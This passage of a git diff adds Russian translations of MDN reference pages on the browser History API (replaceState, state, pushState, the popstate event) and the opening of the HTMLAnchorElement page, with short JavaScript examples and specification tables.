+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/API/History_API/Working_with_the_History_API">Работа с History API</a></li>
+</ul>
diff --git a/files/ru/web/api/history/replacestate/index.html b/files/ru/web/api/history/replacestate/index.html
new file mode 100644
index 0000000000..f7c7d4268a
--- /dev/null
+++ b/files/ru/web/api/history/replacestate/index.html
@@ -0,0 +1,70 @@
+---
+title: History.replaceState()
+slug: Web/API/History/replaceState
+translation_of: Web/API/History/replaceState
+---
+<div>{{APIRef("History API")}}</div>
+
+<p>Метод <strong><code>History.replaceState()</code> </strong>изменяет текущую запись в истории, заменяя её на значения <code>stateObj</code>, <code>title</code> и <code>URL</code>, передаваемые в параметрах метода. Данный метод особенно полезен, когда вы хотите обновить объект состояния или URL текущей записи в истории в ответ на какое-то действие пользователя.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">history.replaceState(<em>stateObj</em>, <em>title</em>, [<em>url</em>])</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>stateObj</code></dt>
+ <dd>Объект состояния – это JavaScript-объект, связанный с записью в истории, переданной в метод <code>replaceState()</code>. Объект состояния может быть <code>null</code>.</dd>
+ <dt><code>title</code></dt>
+ <dd>Заголовок - <a href="https://github.com/whatwg/html/issues/2174" rel="noopener">все браузеры, кроме Safari, на данный момент игнорируют этот параметр</a>, но могут начать использовать в будущем. Ввиду будущих изменений метода, безопасным решением является передача пустой строки. В качестве альтернативы вы можете передать короткий заголовок для состояни, в которое переходите.</dd>
+ <dt><code>url</code> {{optional_inline}}</dt>
+ <dd>URL-адрес записи в истории. Новый URL должен вести на тот же домен, протокол и порт, иначе pushState() выдаст исключение.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Предположим, на странице <code>http://mozilla.org/foo.html</code> выполняется следующий JavaScript-код:</p>
+
+<pre class="notranslate">let stateObj = { foo: "bar" }
+history.pushState(stateObj, "page 2", "bar.html")
+</pre>
+
+<p>Объяснение этих двух строк можно найти в приведённом выше разделе <em><a href="#Example_of_pushState_method">пример метода pushState()</a></em>.</p>
+
+<p>Далее, предположим, на странице <code>http://mozilla.org/bar.html</code> выполняется JavaScript-код:</p>
+
+<pre class="notranslate">history.replaceState(stateObj, "page 3", "bar2.html")
+</pre>
+
+<p>Это приведёт к тому, что в URL-строке отобразится адрес <code>http://mozilla.org/bar2.html</code>, но браузер не станет сразу загружать <code>bar2.html</code> и даже не станет проверять наличие этой страницы <code>bar2.html</code>.</p>
+
+<p>Теперь предположим, что пользователь переходит по адресу <code>http://www.microsoft.com</code>, а затем нажимает на кнопку <strong>"Назад"</strong>. В этом случае в URL-строке отобразится <code>http://mozilla.org/bar2.html</code>. Если же пользователь снова нажмёт на кнопку <strong>"Назад"</strong>, в URL-строке отобразится <code>http://mozilla.org/foo.html</code> и полностью обойдёт <code>bar.html</code>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "history.html#dom-history-replacestate", "History.replaceState()")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "history.html#dom-history-replacestate", "History.replaceState()")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.History.replaceState")}}</p>
diff --git a/files/ru/web/api/history/state/index.html b/files/ru/web/api/history/state/index.html
new file mode 100644
index 0000000000..3faaa8676a
--- /dev/null
+++ b/files/ru/web/api/history/state/index.html
@@ -0,0 +1,65 @@
+---
+title: History.state
+slug: Web/API/History/state
+translation_of: Web/API/History/state
+---
+<div>{{APIRef("History API")}}</div>
+
+<div><span class="seoSummary">Свойство <strong><code>History.state</code></strong> возвращает значение последнего состояния стека истории (history stack). Этим способом можно проверить состояние не дожидаясь события </span>{{event("popstate")}}.</div>
+
+
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">const <em>currentState</em> = history.state</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Последнее состояние стека истории. Значение равно {{jsxref("null")}} до тех пор, пока не будет применен метод {{domxref("History.pushState","pushState()")}} или {{domxref("History.replaceState","replaceState()")}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Код, приведенный ниже, выводит в консоль значение <code>history.state</code> до и после применения метода {{domxref("History.pushState","pushState()")}}, который записывает значение в историю.</p>
+
+<pre class="brush: js notranslate">// Выведет null потому что мы пока не изменяли стек истории
+console.log(`History.state before pushState: ${history.state}`);
+
+// Теперь запишем какое-нибудь значение в стек
+history.pushState({name: 'Example'}, "pushState example", 'page3.html');
+
+// Выведет значение history.state, которое было записано в предыдущей строке
+console.log(`History.state after pushState: ${history.state}`);</pre>
+
+<h2 id="СпецификацииE">Спецификации<a class="button section-edit only-icon" href="https://developer.mozilla.org/en-US/docs/Web/API/History$edit#Specifications" rel="nofollow, noindex"><span>E</span></a></h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "#dom-history-state", "History.state")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "browsers.html#dom-history-state", "History.state")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.History.state")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/History_API/Working_with_the_History_API">Working with the History API</a></li>
+</ul>
diff --git a/files/ru/web/api/history_api/index.html b/files/ru/web/api/history_api/index.html
new file mode 100644
index 0000000000..2238486e34
--- /dev/null
+++ b/files/ru/web/api/history_api/index.html
@@ -0,0 +1,119 @@
+---
+title: History API
+slug: Web/API/History_API
+tags:
+  - API
+  - DOM
+  - HTML5
+  - История
+translation_of: Web/API/History_API
+---
+<p>{{DefaultAPISidebar("History API")}}<br>
+ DOM-объект {{DOMxRef("Window")}} предоставляет доступ к истории текущей сессии браузера (не путать с <a href="https://wiki.developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history">историей браузерных расширений</a>) через объект {{DOMxRef("Window.history","history")}}. Он предоставляет полезные методы и свойства, которые позволяют переходить назад и вперёд по истории пользователя и манипулировать её содержимым.</p>
+
+<h2 id="Понятия_и_использование">Понятия и использование</h2>
+
+<p>Перемещение назад и вперёд по истории пользователя выполняется с помощью методов {{DOMxRef("History.back","back()")}}, {{DOMxRef("History.forward","forward()")}}, и {{DOMxRef("History.go","go()")}}.</p>
+
+<h3 id="Перемещение_вперёд_и_назад">Перемещение вперёд и назад</h3>
+
+<p>Чтобы переместиться назад по истории:</p>
+
+<pre class="brush: js notranslate">window.history.back();
+</pre>
+
+<p>Данный метод работает так, будто пользователь нажал на кнопку "Назад" на панели браузера.<br>
+ Похожим образом можно переместиться вперед (как если бы пользователь нажал на кнопку "Вперед"):</p>
+
+<pre class="brush: js notranslate">window.history.forward();
+</pre>
+
+<h3 id="Перемещение_к_определённой_странице_в_истории">Перемещение к определённой странице в истории</h3>
+
+<p>Вы можете использовать метод {{DOMxRef("History.go","go()")}} для загрузки конкретной страницы из истории сессии, определяемой её позицией относительно текущей страницы. Относительная позиция текущей страницы равняется <code>0</code>.</p>
+
+<p>Вернуться на одну страницу назад (равноценно вызову {{DOMxRef("History.back","back()")}}):</p>
+
+<pre class="brush: js notranslate">window.history.go(-1);
+</pre>
+
+<p>Перейти на одну страницу вперёд (равноценно вызову {{DOMxRef("History.forward","forward()")}})</p>
+
+<pre class="brush: js notranslate">window.history.go(1);
+</pre>
+
+<p>По такому же принципу, можно перемещаться вперед на 2 страницы, передавая аргумент <code>2</code>, и так далее.</p>
+
+<p>Кроме того, метод <code>go()</code> можно использовать для обновления текущей страницы, передавая аргумент <code>0</code> или вызывая его без аргументов:</p>
+
+<pre class="notranslate">// Обе следующих инструкции обновляют текущую страницу
+window.history.go(0)
+window.history.go()</pre>
+
+<p>Узнать количество страниц, которые находятся в стеке истории, можно, получив значение свойства <code>length</code>:</p>
+
+<pre class="brush: js notranslate">var numberOfEntries = window.history.length;
+</pre>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<dl>
+ <dt>{{domxref("History")}}</dt>
+ <dd>Позволяет манипулировать историей сессии браузера (то есть, страницами, посещёнными в той же закладке, что и текущая страница.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В следующем примере свойству <code>onpopstate</code> назначается обработчик. А затем приводятся некоторые методы объекта истории для добавления, замени и перемещения по истории текущей вкладки браузера</p>
+
+<pre class="notranslate">window.onpopstate = function(event) {
+  alert(`location: ${document.location}, state: ${JSON.stringify(event.state)}`)
+}
+
+history.pushState({page: 1}, "title 1", "?page=1")
+history.pushState({page: 2}, "title 2", "?page=2")
+history.replaceState({page: 3}, "title 3", "?page=3")
+history.back() // alerts "location: http://example.com/example.html?page=1, state: {"page":1}"
+history.back() // alerts "location: http://example.com/example.html, state: null"
+history.go(2)  // alerts "location: http://example.com/example.html?page=3, state: {"page":3}"</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "browsers.html#history", "History")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Нет изменений по сравнению с {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#history", "History")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{Compat("api.History")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<h3 id="Справочники">Справочники</h3>
+
+<ul>
+ <li>{{ domxref("window.history") }}</li>
+ <li>{{ domxref("window.onpopstate") }}</li>
+</ul>
+
+<h3 id="Руководства">Руководства</h3>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/History_API/Working_with_the_History_API">Working with the History API</a></li>
+</ul>
diff --git a/files/ru/web/api/history_api/working_with_the_history_api/index.html b/files/ru/web/api/history_api/working_with_the_history_api/index.html
new file mode 100644
index 0000000000..b1bf87726a
--- /dev/null
+++ b/files/ru/web/api/history_api/working_with_the_history_api/index.html
@@ -0,0 +1,129 @@
+---
+title: Работа с History API
+slug: Web/API/History_API/Working_with_the_History_API
+translation_of: Web/API/History_API/Working_with_the_History_API
+---
+<p>В HTML5 стали доступны методы {{DOMxRef("History.pushState","pushState()")}} и {{DOMxRef("History.replaceState","replaceState()")}} для добавления и изменения записей в истории. Эти методыработают в сочетании с событием {{domxref("Window.onpopstate","onpopstate")}}</p>
+
+<h2 id="Добавление_и_изменение_записей_в_истории">Добавление и изменение записей в истории</h2>
+
+<p>{{ gecko_minversion_header("2") }}</p>
+
+<p>{{DOMxRef("History.pushState","pushState()")}} позволяет изменить referrer, который используется в HTTP-заголовке для {{domxref("XMLHttpRequest")}} объектов, созданных после изменения состояния. Значением referrer будет URL документа, окно которого является <code>this</code> на момент создания {{domxref("XMLHttpRequest")}} объекта.</p>
+
+<h3 id="Пример_метода_pushState">Пример метода pushState()</h3>
+
+<p>Предположим, на странице <code>http://mozilla.org/foo.html</code> выполняется следующий JavaScript-код:</p>
+
+<pre class="brush: js notranslate">let stateObj = {
+    foo: "bar",
+}
+
+history.pushState(stateObj, "page 2", "bar.html")
+</pre>
+
+<p>В результате этого в URL-строке отобразится адрес <code>http://mozilla.org/bar.html</code>, но браузер не будет загружать страницу <code>bar.html</code> и даже не будет проверять, существует ли она..</p>
+
+<p>Теперь предположим, что пользователь перешел по адресу <code>http://google.com</code> и затем нажал на кнопку "<strong>Назад</strong>". В результате этого в URL будет отображаться <code>http://mozilla.org/bar.html</code>, а <code>history.state</code> будет содержать <code>stateObj</code>. Событие popstate не будет вызвано, поскольку страница была перезагружена. Сама страница будет выглядеть как <code>bar.html</code>.</p>
+
+<p>Если пользователь ещё раз нажимает кнопку <strong>"Назад"</strong>, URL изменится на <code>http://mozilla.org/foo.html</code>, а в документе снова произойдёт событие <code>popstate</code>, на этот раз с объектом состояния, имеющим значение <code>null</code>. В этом случае возврат назад также не меняет содержимое документа, как и на предыдущем шаге, хотя документ может сам обновить своё содержимое после получения события <code>popstate</code>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> Вызов <code>history.back()</code> обычно ведёт себя так же, как нажатие на кнопку <strong>"Назад"</strong>. Но есть одно важное исключение:</p>
+
+<p><em>После использования</em> <code>history.pushState()</code>, вызов <code>history.back()</code> <em>не вызывает событие</em> <code>popstate</code>. Нажатие в браузере на кнопку "Назад" (всё ещё) делает это.</p>
+</div>
+
+<h3 id="Метод_pushState">Метод pushState()</h3>
+
+<p>Метод <code>pushState()</code> принимает три параметра: <em>объект состояния</em>, <em>заголовок</em> (в данный момент игнорируется) и (необязательно) параметр "<em>URL"</em>.</p>
+
+<p>Давайте более подробно рассмотрим каждый и этих трёх параметров.</p>
+
+<dl>
+ <dt><strong>state object</strong> </dt>
+ <dd>Объект состояния – это JavaScript-объект, связанный с новой записью в истории, созданной <code>pushState()</code>. Всякий раз, когда пользователь переходит к новому состоянию, происходит событие <code>popstate</code>, а свойство <code>state</code> этого события содержит копию объекта состояния с записями истории.</dd>
+ <dd>Объект состояния может быть чем-угодно, что может быть сериализовано. Поскольку Firefox сохраняет объекты состояния на диске пользователя, чтобы их можно было восстановить после перезапуска браузера, мы накладываем ограничение в 640 тысяч символов на сериализованное представление объекта состояния. Если вы передаёте объект состояния, чьё сериализованное представление больше этого значения, метод <code>pushState()</code> выдаст исключение. Если вам нужно хранилище большего размера, следует рассмотреть использование <code>sessionStorage</code> и/или <code>localStorage</code>.</dd>
+</dl>
+
+<dl>
+ <dt><strong>title</strong></dt>
+ <dd>Заголовок - <a href="https://github.com/whatwg/html/issues/2174">все браузеры, кроме Safari, на данный момент игнорируют этот параметр</a>, но могут начать использовать в будущем. Ввиду будущих изменений метода, безопасным решением является передача пустой строки. В качестве альтернативы вы можете передать короткий заголовок для состояни, в которое переходите.</dd>
+</dl>
+
+<dl>
+ <dt><strong>URL</strong></dt>
+ <dd>Через этот параметр передаётся URL-адрес новой новый записи в истории. Обратите внимание, что браузер не будет пытаться загрузить данный URL сразу после вызова <code>pushState()</code>, но может попытаться сделать это позже, например, после того, как пользователь перезапустит браузер. Новый URL-адрес не обязан быть абсолютным; если он относительный, то определяется относительно текущего URL. Новый URL должен вести на тот же домен, протокол и порт, иначе <code>pushState()</code> выдаст исключение. Данный параметр не является обязательным; если он не указан, будет использоваться URL текущего документа.</dd>
+</dl>
+
+<div class="note"><strong>Примечание:</strong> Начиная с Gecko 2.0 {{ geckoRelease("2.0") }} и до Gecko 5.0 {{ geckoRelease("5.0") }}, переданный объект сериализуется с помощью JSON. Начиная с Gecko 6.0 {{ geckoRelease("6.0") }}, объект сериализуется с помощью <a href="/en/DOM/The_structured_clone_algorithm">алгоритма структурированного клонирования</a>. Это позволяет безопасно передавать более широкий спектр объектов.</div>
+
+<p>Вызов <code>pushState()</code> в некоторой степени похож на установку <code>window.location = "#foo"</code>, поскольку они оба также создают и активируют ещё одну запись в истории, связанную с текущим документом.</p>
+
+<p>Но у <code>pushState()</code> есть несколько преимуществ:</p>
+
+<ul>
+ <li>Новый URL может быть любым в пределах того же домена, порта и протокола, что и текущий адрес. Тогда как настройка <code>window.location</code> оставляет вас на том же {{ domxref("document") }} лишь в том случае, если вы меняете только хэш</li>
+ <li>Менять URL не обязательно. Тогда как настройка <code>window.location = "#foo";</code> создаёт новую запись в истории, только если текущий хеш не <code>#foo</code></li>
+ <li>С новой записью в истории можно связать любые данные. В подходе, основанном на хеше, все соответствующие данные нужно кодировать в короткую строку</li>
+ <li>Если заголовок <code>title</code> впоследствии используется браузерами, эти данные могут быть использованы (независимо от, скажем, хеша).</li>
+</ul>
+
+<p>Обратите внимание, что <code>pushState()</code> никогда не вызывает событие <code>hashchange</code>, даже если новый URL отличается от старого только хешем.</p>
+
+<p>В <a href="/en-US/docs/Mozilla/Tech/XUL">XUL</a>-документах он создаёт указанный XUL-элемент</p>
+
+<p>В других документах он создаёт элемент с null namespace URI.</p>
+
+<h3 id="Метод_replaceState">Метод replaceState()</h3>
+
+<p><code>history.replaceState()</code> работает точно так же, как <code>history.pushState()</code>, за исключением того, что <code>replaceState()</code> изменяет текущую запись истории вместо создания новой записи. Обратите внимание, что он не предотвращает создание новой записи в глобальной истории браузера.</p>
+
+<p><code>replaceState()</code> особенно полезен, когда вы хотите обновить объект состояния или URL текущей записи в истории в ответ на какое-то действие пользователя.</p>
+
+<dl>
+</dl>
+
+<div class="note"><strong>Примечание:</strong> Начиная с Gecko 2.0 {{ geckoRelease("2.0") }} и до Gecko 5.0 {{ geckoRelease("5.0") }}, переданный объект сериализуется с помощью JSON. Начиная с Gecko 6.0 {{ geckoRelease("6.0") }}, объект сериализуется с помощью <a href="/en/DOM/The_structured_clone_algorithm">алгоритма структурированного клонирования</a>. Это позволяет безопасно передавать более широкий спектр объектов.</div>
+
+<h3 id="Пример_метода_replaceState">Пример метода replaceState()</h3>
+
+<p>Предположим, на странице <code><span class="nowiki">http://mozilla.org/foo.html</span></code> выполняется следующий JavaScript-код:</p>
+
+<pre class="brush: js notranslate">let stateObj = { foo: "bar" }
+history.pushState(stateObj, "page 2", "bar.html")
+</pre>
+
+<p>Объяснение этих двух строк можно найти в приведённом выше разделе <em><a href="#Example_of_pushState_method">пример метода pushState()</a></em>.</p>
+
+<p>Далее, предположим, на странице <code><span class="nowiki">http://mozilla.org/bar.html</span></code><span class="nowiki"> выполняется JavaScript-код:</span></p>
+
+<pre class="brush: js notranslate">history.replaceState(stateObj, "page 3", "bar2.html")
+</pre>
+
+<p>Это приведёт к тому, что в URL-строке отобразится адрес <code><span class="nowiki">http://mozilla.org/bar2.html</span></code><span class="nowiki">, но браузер не станет сразу загружать </span><code>bar2.html</code> и даже не станет проверять наличие этой страницы <code>bar2.html</code>.</p>
+
+<p>Теперь предположим, что пользователь переходит по адресу <code><span class="nowiki">http://www.microsoft.com</span></code><span class="nowiki">, а затем нажимает на кнопку <strong>"Назад"</strong>. В этом случае в URL-строке отобразится <code>http://mozilla.org/bar2.html</code>. Если же пользователь снова нажмёт на кнопку <strong>"Назад"</strong>, в URL-строке отобразится <code>http://mozilla.org/foo.html</code> и полностью обойдёт <code>bar.html</code>.</span></p>
+
+<h3 id="Событие_popstate">Событие popstate</h3>
+
+<p>Событие <code>popstate</code> вызывается в окне каждый раз, когда активная запись в истории меняется. Если запись в истории, которая активируется, была создана с помощью вызова {{DOMxRef("History.pushState","pushState")}} или активирована вызовом {{DOMxRef("History.replaceState","replaceState")}}, свойство <code>state</code> события <code>popstate</code> содержит копию записи в истории объекта события.</p>
+
+<p>Примеры использования можно посмотреть в {{ domxref("Window.onpopstate") }}.</p>
+
+<h3 id="Чтение_текущего_состояния">Чтение текущего состояния</h3>
+
+<p>Когда страница загружается, она может иметь объект события со значением, отличным от <code>"null"</code>. Это может произойти, например, если страница устанавливает объект состояния (с помощью {{DOMxRef("History.pushState","pushState()")}} или {{DOMxRef("History.replaceState","replaceState()")}}) и затем пользователь перезапускает браузер. Когда страница перезагружается, она получит событие <code>onload</code>, но не получит событие <code>popstate</code>. Тем не менее, если вы прочитаете свойство {{DOMxRef("History.state","history.state")}}, получите объект состояния, который получили, если бы произошло событие <code>popstate</code>.</p>
+
+<p>С помощью свойства {{DOMxRef("History.state","history.state")}} можно прочитать состояние текущей записи в истории, не дожидаясь события <code>popstate</code>, например:</p>
+
+<pre class="brush: js notranslate">let currentState = history.state
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/History_API">History API</a></li>
+ <li><a href="/en-US/docs/Web/API/History_API/Example">Ajax navigation example</a></li>
+ <li>{{ domxref("window.history") }}</li>
+</ul>
diff --git a/files/ru/web/api/htmlanchorelement/index.html b/files/ru/web/api/htmlanchorelement/index.html
new file mode 100644
index 0000000000..acfc568ef4
--- /dev/null
+++ b/files/ru/web/api/htmlanchorelement/index.html
@@ -0,0 +1,231 @@
+---
+title: HTMLAnchorElement
+slug: Web/API/HTMLAnchorElement
+translation_of: Web/API/HTMLAnchorElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>Интерфейс <strong><code>HTMLAnchorElement</code></strong> представляет элементы гиперссылки и предоставляет специальные свойства и методы (помимо обычного объектного интерфейса {{domxref("HTMLElement")}}, который они наследуют) для управления макетом и представлением таких элементов.<br>
+ Этот интерфейс соответствует элементу &lt;a&gt;; не путать с &lt; link&gt;, который представлен HTMLLinkElement.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства от его родителя,</em><em>{{domxref("HTMLElement")}}, и реализует те из {{domxref("URLUtils")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLAnchorElement.accessKey")}}</dt>
+ <dd>Это {{domxref("DOMString")}} отображает собой единичный символ, который переключает фокус ввода на гиперссылку.</dd>
+ <dt>{{domxref("HTMLAnchorElement.charset")}} {{obsolete_inline}}</dt>
+ <dd>Это {{domxref("DOMString")}} отображает кодировку символов связаного ресурса.</dd>
+ <dt>{{domxref("HTMLAnchorElement.coords")}} {{obsolete_inline}}</dt>
+ <dd>Это {{domxref("DOMString")}} отображает список координат разделенный запятыми.</dd>
+ <dt>{{domxref("HTMLAnchorElement.download")}} {{experimental_inline}}</dt>
+ <dd>Это {{domxref("DOMString")}} показыват что связаный ресурс предназначен для загрузки, а не для отображения в браузере. Значение представляет предполагаемое имя файла. Если имя не является допустимым именем файла нижележащей ОС, браузер будет адаптировать его. Значение это URL по схеме <code>http:</code>, <code>file:</code>, <code>data:</code> или даже <code>blob:</code> (созданный с помощью {{domxref("URL.createObjectURL")}}).</dd>
+ <dt>{{domxref("URLUtils.hash")}}</dt>
+ <dd>Это {{domxref("DOMString")}} отображает фрагмент идентификатора, включая ведущий hash mark ('<code>#</code>'), если, указан в URL.</dd>
+ <dt>{{domxref("URLUtils.host")}}</dt>
+ <dd>Это {{domxref("DOMString")}} отображает имя хоста порт (если это не порт по умолчанию) в указанном URL.</dd>
+ <dt>{{domxref("URLUtils.hostname")}}</dt>
+ <dd>Это {{domxref("DOMString")}} отбражает имя хоста в указанном URL.</dd>
+ <dt>{{domxref("URLUtils.href")}}</dt>
+ <dd>Это {{domxref("DOMString")}} что отображает {{htmlattrxref("href", "a")}} HTML атрибут, содержащий действительный URL связанного ресурса.</dd>
+ <dt>{{domxref("HTMLAnchorElement.hreflang")}}</dt>
+ <dd>Это {{domxref("DOMString")}} что отображает HTML атрибут {{htmlattrxref("hreflang", "a")}}, показывающий язык связанного ресурса.</dd>
+ <dt>{{domxref("HTMLAnchorElement.media")}}</dt>
+ <dd>Это {{domxref("DOMString")}} что отображает {{htmlattrxref("media", "a")}} HTML атрибут, с указанием предполагаемого media для связанного ресурса.</dd>
+ <dt>{{domxref("HTMLAnchorElement.name")}} {{obsolete_inline}}</dt>
+ <dd>Это {{domxref("DOMString")}} отображает имя якоря.</dd>
+ <dt>{{domxref("URLUtils.password")}}</dt>
+ <dd>Это {{domxref("DOMString")}} содержащий пароль, указанный перед именем домена.</dd>
+ <dt>{{domxref("URLUtils.origin")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}} содержащий источник, то есть его схему, его домен и его порт.</dd>
+ <dt>{{domxref("URLUtils.pathname")}}</dt>
+ <dd>Это {{domxref("DOMString")}} отображающий состовную часть пути имени, любого, ссылающегося URL.</dd>
+ <dt>{{domxref("URLUtils.port")}}</dt>
+ <dd>Это {{domxref("DOMString")}} отображающий составную часть порта, любого, ссылающегося URL.</dd>
+ <dt>{{domxref("URLUtils.protocol")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} отображаеющий составную часть протокола, включая двоеточия ('<code>:</code>'), ссылающегося URL.</dd>
+ <dt>{{domxref("HTMLAnchorElement.referrer")}} {{experimental_inline}}</dt>
+ <dd>Это {{domxref("DOMString")}} что отображает {{htmlattrxref("referrer", "a")}} HTML аттрибут, показывающий какой referrer используется, когда выбранно изображение.</dd>
+ <dt>{{domxref("HTMLAnchorElement.rel")}}</dt>
+ <dd>Это {{domxref("DOMString")}} что отображает {{htmlattrxref("rel", "a")}} HTML атрибут, уточняя взаимоотношения целевого объекта к связанному объекту.</dd>
+ <dt>{{domxref("HTMLAnchorElement.relList")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("DOMTokenList")}} который отображает {{htmlattrxref("rel", "a")}} HTML атрибут, как список токенов.</dd>
+ <dt>{{domxref("HTMLAnchorElement.rev")}} {{obsolete_inline}}</dt>
+ <dd>Это {{domxref("DOMString")}} отображающий как {{htmlattrxref("rev", "a")}} HTML атрибут, уточняя взаимоотношения связанного объекта к целевому объекту</dd>
+ <dt>{{domxref("URLUtils.search")}}</dt>
+ <dd>Это {{domxref("DOMString")}} отображающий искомый элемент, включая ведущий знак вопроса ('<code>?</code>'), если таковой имеется, в ссылающемся URL.</dd>
+ <dt>{{domxref("HTMLAnchorElement.shape")}} {{obsolete_inline}}</dt>
+ <dd>Это {{domxref("DOMString")}} отображающий вид активной области.</dd>
+ <dt>{{domxref("HTMLAnchorElement.tabindex")}}</dt>
+ <dd>Это <code>long</code> содержащий положение элемента в норядке навигационного переключения для текущего документа.</dd>
+ <dt>{{domxref("HTMLAnchorElement.target")}}</dt>
+ <dd>Это {{domxref("DOMString")}} который отображает {{htmlattrxref("target", "a")}} HTML атрибут, указывая где отображается связанный ресурс.</dd>
+ <dt>{{domxref("HTMLAnchorElement.text")}}</dt>
+ <dd>Это {{domxref("DOMString")}} является синонимом {{domxref("Node.textContent")}} свойства.</dd>
+ <dt>{{domxref("HTMLAnchorElement.type")}}</dt>
+ <dd>Это {{domxref("DOMString")}} которое отображает {{htmlattrxref("type", "a")}} HTML атрибут, показывающий MIME тип связанного ресурса.</dd>
+ <dt>{{domxref("URLUtils.username")}}</dt>
+ <dd>Это {{domxref("DOMString")}} содержащий имя пользователя определенное перед именем домена.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Наследует методы от его родителя, {{domxref("HTMLElement")}}, </em><em>и реализует те из {{domxref("URLUtils")}}</em><em>.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLElement.blur()")}}</dt>
+ <dd>Удаляет фокус клавиатуры из текущего элемента.</dd>
+ <dt>{{domxref("HTMLElement.focus()")}}</dt>
+ <dd>Дает фокус клавиатуры на текущий элемент.</dd>
+ <dt>{{domxref("URLUtils.toString()")}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}} содержащий весь URl. Это синоним {{domxref("URLUtils.href")}}, хотя он не может быть использован для изменения значения.</dd>
+</dl>
+
+<p><code>blur()</code> и <code>focus()</code> методы наследуемые от {{domxref("HTMLElement")}} для HTML5, но они были определены в <code>HTMLAnchorElement</code> в DOM Level 2 HTML и более ранней спецификации.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrer attribute')}}</td>
+   <td>{{Spec2('Referrer Policy')}}</td>
+   <td>Добавлено <code>referrer</code> свойство.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "text-level-semantics.html#the-a-element", "HTMLAnchorElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Следующте свойство были добавлены: <code>download</code>.<br>
+    Технически Technically, URL связанные свойства, <code>media</code>, <code>host</code>, <code>hostname</code>, <code>pathname</code>, <code>port</code>, <code>protocol</code>, <code>search</code>, и <code>hash</code>, были перемещены в {{domxref("URLUtils")}} интерфейс, и <code>HTMLAreaElement</code> реализует этот интерфейс.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "text-level-semantics.html#the-a-element", "HTMLAnchorElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Методы <code>blur()</code> и <code>focus()</code>, а также свойства <code>tabindex</code> и <code>accessKey</code>, теперь определены в {{domxref("HTMLElement")}}.<br>
